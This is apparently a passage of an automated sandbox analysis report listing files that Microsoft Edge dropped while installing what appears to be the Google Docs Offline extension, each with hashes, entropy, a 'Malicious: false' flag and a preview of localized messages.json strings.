\u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
